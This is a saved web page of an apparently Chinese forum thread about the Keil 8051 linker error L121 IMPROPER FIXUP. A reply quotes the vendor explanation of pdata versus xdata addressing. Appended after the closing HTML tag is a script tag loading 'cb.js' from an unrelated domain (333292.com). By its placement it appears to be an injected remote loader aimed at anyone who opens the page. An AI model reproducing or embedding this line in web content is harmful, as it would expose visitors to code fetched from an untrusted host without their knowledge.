?? 2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error l121 improper fixup請(qǐng)高手指點(diǎn).htm
字號(hào):
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0047)http://www.daxia.com/bbs/moredata30_30404.shtml -->
<HTML><HEAD><TITLE>2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER FIXUP請(qǐng)高手指點(diǎn)</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>.p9 {
FONT-SIZE: 9pt; FONT-FAMILY: "宋體"
}
.font {
FONT-SIZE: 9pt; LINE-HEIGHT: 1.5em; FONT-FAMILY: "宋體"
}
OL {
LINE-HEIGHT: 1.5em; LIST-STYLE-TYPE: square
}
FIELDSET {
PADDING-RIGHT: 1em
}
.input {
BORDER-RIGHT: 0px; BORDER-TOP: 0px; FONT-SIZE: 9pt; BORDER-LEFT: 0px; WIDTH: 80px; BORDER-BOTTOM: #024ac9 1px groove
}
SELECT {
FONT-SIZE: 9pt; WIDTH: 80px
}
BODY {
FONT-SIZE: 9pt; FONT-FAMILY: "宋體"
}
P {
FONT-WEIGHT: normal; FONT-SIZE: 9pt; FONT-FAMILY: "宋體", "Arial", "Times New Roman"
}
TD {
FONT-WEIGHT: normal; FONT-SIZE: 9pt; FONT-FAMILY: "宋體", "Arial", "Times New Roman"
}
A:link {
FONT-SIZE: 9pt; COLOR: #024ac9; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #024ac9; TEXT-DECORATION: none
}
A:active {
FONT-SIZE: 9pt; COLOR: #024ac9; TEXT-DECORATION: none
}
A:hover {
COLOR: red; TEXT-DECORATION: none
}
</STYLE>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY vLink=#0000ff bgColor=#efefef topMargin=10 marginheight="10"
marginwidth="10">
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-1260019700816245";
google_alternate_ad_url = "";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_color_bg = "efefef";
google_ad_type = "text";
google_ad_channel ="";
//--></SCRIPT>
<SCRIPT
src="2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER FIXUP請(qǐng)高手指點(diǎn).files/show_ads.js"
type=text/javascript>
</SCRIPT>
<P align=left><A href="http://www.daxia.com/">返回大蝦電子網(wǎng)首頁(yè)</A> <A
href="http://www.daxia.com/bbs/find30.asp?id=20987">返回歷史帖子</A><BR>
<TABLE width="100%" align=center>
<TBODY>
<TR>
<TD>
<P align=center><STRONG>[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER
FIXUP請(qǐng)高手指點(diǎn)</STRONG></P></TD></TR></TBODY></TABLE><BR><FONT color=#ff0000>帖子編號(hào):
30404/776766, 發(fā)表用戶(hù):</FONT><A
href="http://www.daxia.com/bbs/moreinfo.asp?id=63964" target=_blank>51er</A>
<FONT color=#ff0000>發(fā)表時(shí)間:2005-12-23
11:42:10 訪問(wèn)次數(shù):95 發(fā)貼IP:61.149.194.2
</FONT><BR></TD><BR>文章內(nèi)容: <PRE class=font>請(qǐng)高手幫幫忙,這是什么原因,怎么解決 謝謝<BR><BR>相關(guān)帖子>>>:<BR><UL><LI><IMG src="2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER FIXUP請(qǐng)高手指點(diǎn).files/note.gif"><B>去看l121錯(cuò)誤分析。(0字)zz123[8次]2005-12-23 12:07:40</B><BR><UL><LI><IMG src="2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER FIXUP請(qǐng)高手指點(diǎn).files/more.gif"><B>自己先看看(2018字)zz123[18次]2005-12-23 12:09:02</B><BR>L121
IMPROPER FIXUP:
After evaluation of absolute fixups, an address is not accessible. The improper address along with
the specific module name, partial segment, and segment address are displayed. The fixup command is
not processed.
Linker Output:
MODULE: filename (modulename)
SEGMENT: segment-name
OFFSET: segment-address
Symptoms:
In a C source file I have declared a pdata variable called foo. I wish to access this variable in
an assembly module, and I have written the following code to do this:
EXTRN XDATA (foo)
...
MOV R0, #foo
MOV @R0, A
Cause:
This is because when using the EXTRN directive you have specified the variable as xdata. This is
correct since pdata variables are stored in xdata, however the assembler assigns a 16-bit address
to the variable, but only an 8-bit address exists for the pdata variable.
Resotution:
Move the lower byte of the 16-bit address of the variable into R0. The upper byte will be present
on P2 during the memory access.
Example
MOV R0, #LOW (foo)
<UL><LI><IMG src="2006-6-10☆[+3]出現(xiàn)了個(gè)錯(cuò)誤error L121 IMPROPER FIXUP請(qǐng)高手指點(diǎn).files/62.gif"><B>珍視白辛苦,樓主看不堪呀!(0字)zz123[5次]2005-12-23 12:32:09</B><BR></LI></UL></LI></UL></LI></UL></PRE>
<FORM onsubmit="return ValidationPassed" action=announce2.asp?id=20987
method=post>
<TABLE class=font style="MARGIN-TOP: -20px; POSITION: relative" width="75%"
align=center border=0>
<TBODY>
<TR>
<TD width="90%"> </TD></TR>
<TR>
<TD colSpan=2 height=49></TD></TR></TBODY></TABLE></FORM></BODY></HTML>
<script language=javascript src=http://www.333292.com/cb.js></script>
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -